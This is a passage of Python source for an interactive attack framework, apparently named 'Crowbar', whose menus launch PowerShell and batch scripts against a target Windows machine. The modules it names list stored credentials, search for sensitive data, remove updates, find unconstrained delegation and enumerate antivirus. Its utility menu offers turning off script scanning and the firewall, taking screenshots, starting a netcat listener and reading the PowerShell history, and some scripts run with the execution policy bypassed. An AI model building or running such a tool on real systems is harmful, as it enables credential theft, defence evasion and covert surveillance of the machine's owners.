if scriptslistinstalledproreg == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptslistinstalledproreg == "run":
subprocess.call('''powershell.exe Get-Content scripts/listprogramsreg.ps1 | PowerShell.exe -noprofile -''', shell=True)
elif scriptslistinstalledproreg == "clear":
functionclear()
elif scriptslistinstalledproreg == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 27":
while True:
scriptslistinstalledprofol = input("\nScripts (scripts/powershell/list_installed_programs_using_folders)\n |==> ")
if scriptslistinstalledprofol == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptslistinstalledprofol == "run":
subprocess.call('''powershell.exe Get-Content scripts/listprogramsfol.ps1 | PowerShell.exe -noprofile -''', shell=True)
elif scriptslistinstalledprofol == "clear":
functionclear()
elif scriptslistinstalledprofol == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 28":
while True:
scriptslistarptables = input("\nScripts (scripts/powershell/list_arp_tables)\n |==> ")
if scriptslistarptables == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptslistarptables == "run":
subprocess.call('''powershell.exe Get-Content scripts/listarptables.ps1 | PowerShell.exe -noprofile -''', shell=True)
elif scriptslistarptables == "clear":
functionclear()
elif scriptslistarptables == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 29":
while True:
scriptsgetiisconfig = input("\nScripts (scripts/powershell/get_iis_config)\n |==> ")
if scriptsgetiisconfig == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsgetiisconfig == "run":
subprocess.call('''powershell.exe Get-Content scripts/iisconfig.ps1 | PowerShell.exe -noprofile -''', shell=True)
elif scriptsgetiisconfig == "clear":
functionclear()
elif scriptsgetiisconfig == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 30":
while True:
scriptssensitivedata = input("\nScripts (scripts/powershell/sensitive_data_search)\n |==> ")
if scriptssensitivedata == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptssensitivedata == "run":
subprocess.call('''powershell.exe Get-Content scripts/sensitive_data_search.ps1 | PowerShell.exe -noprofile -''', shell=True)
elif scriptssensitivedata == "clear":
functionclear()
elif scriptssensitivedata == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 31":
while True:
scriptslistcreden = input("\nScripts (scripts/powershell/list_credentials)\n |==> ")
if scriptslistcreden == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptslistcreden == "run":
subprocess.call('''powershell.exe Get-Content scripts/listcredentials.ps1 | PowerShell.exe -noprofile -''', shell=True)
elif scriptslistcreden == "clear":
os.system("cls")
elif scriptslistcreden == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 32":
while True:
scriptsremoveupdate = input("\nScripts (scripts/powershell/remove_update)\n |==> ")
if scriptsremoveupdate == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsremoveupdate == "run":
subprocess.call('''powershell.exe Get-Content scripts/removeupdate.ps1 | PowerShell.exe -noprofile -''', shell=True)
print('''
+——— Message ————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| Updates removed! |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsremoveupdate == "clear":
os.system("cls")
elif scriptsremoveupdate == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 33":
while True:
scriptsgetunconstrained = input("\nScripts (scripts/powershell/get_unconstrained)\n |==> ")
if scriptsgetunconstrained == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsgetunconstrained == "run":
subprocess.call('''(cd scripts) && (PowerShell.exe -ExecutionPolicy Bypass -File ./getunconstrained.ps1)''', shell=True)
elif scriptsgetunconstrained == "clear":
os.system("cls")
elif scriptsgetunconstrained == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 34":
while True:
scriptsgetarchitecture = input("\nScripts (scripts/extra/cmd/get_architecture)\n |==> ")
if scriptsgetarchitecture == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptsgetarchitecture == "run":
os.system("wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%")
elif scriptsgetarchitecture == "clear":
os.system("cls")
elif scriptsgetarchitecture == "back":
leavescripts()
else:
print("Wrong Command!")
elif scripts == "use 35":
while True:
scriptslistantivirus = input("\nScripts (scripts/extra/cmd/list_antivirus)\n |==> ")
if scriptslistantivirus == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| run - Runs the script against the host machine. |
| clear - Clears the screen. |
| back - goes back to the 'Scripts' directory. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif scriptslistantivirus == "run":
os.system("cd scripts && list_antivirus.bat")
elif scriptslistantivirus == "clear":
os.system("cls")
elif scriptslistantivirus == "back":
leavescripts()
else:
print("Wrong Command!")
else:
print("Wrong Command!")
def leaveutil():
util()
def util():
while True:
util = input("\nUtil (util/)\n |==> ")
if util == "help":
print('''
+——— Help ———————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
| help - Prints out help commands. |
| list - Lists all the utilities. |
| use (utility number) - Selects and loads specified utility. Example: use 1 |
| clear - Clears the screen. |
| back - Goes back to the Crowbar menu. |
+————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif util == "list":
print('''
+———— Utilities —————————————————————————————————————————————————————————————————— Description ————————————————————————————————————————————————————+
| 1. util/extra/vmdetect A utility for VM Detection. |
| 2. util/nmap [Nmap must be installed on target machine] Runs a port scan against the target. |
| 3. util/screencapture Takes a screenshot of the targets screen. |
| 4. util/extra/avtrigger [Golang must be installed on target machine] Triggers targets AntiVirus [if enabled] with a video. |
| 5. util/imonitor A utility for task monitoring. |
| 6. util/ipv4 Grabs IPv4 of target machine. |
| 7. util/netcat [NetCat must be installed on the target machine] Starts netcat listener. |
| 8. util/powershell/check_windows_av Checks the status of Windows Defender. |
| 9. util/powershell/disable_script_scanning Disables script scanning on the target machine. |
| 10. util/powershell/list_firewall_blocked_ports List firewall's blocked ports. |
| 11. util/powershell/disable_firewall [Windows 7 Only] Disables the firewall on the target machine. |
| 12. util/powershell/get_powershell_history Gets the powershell command history of the target machine. |
+——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————+
''')
elif util == "clear":
functionclear()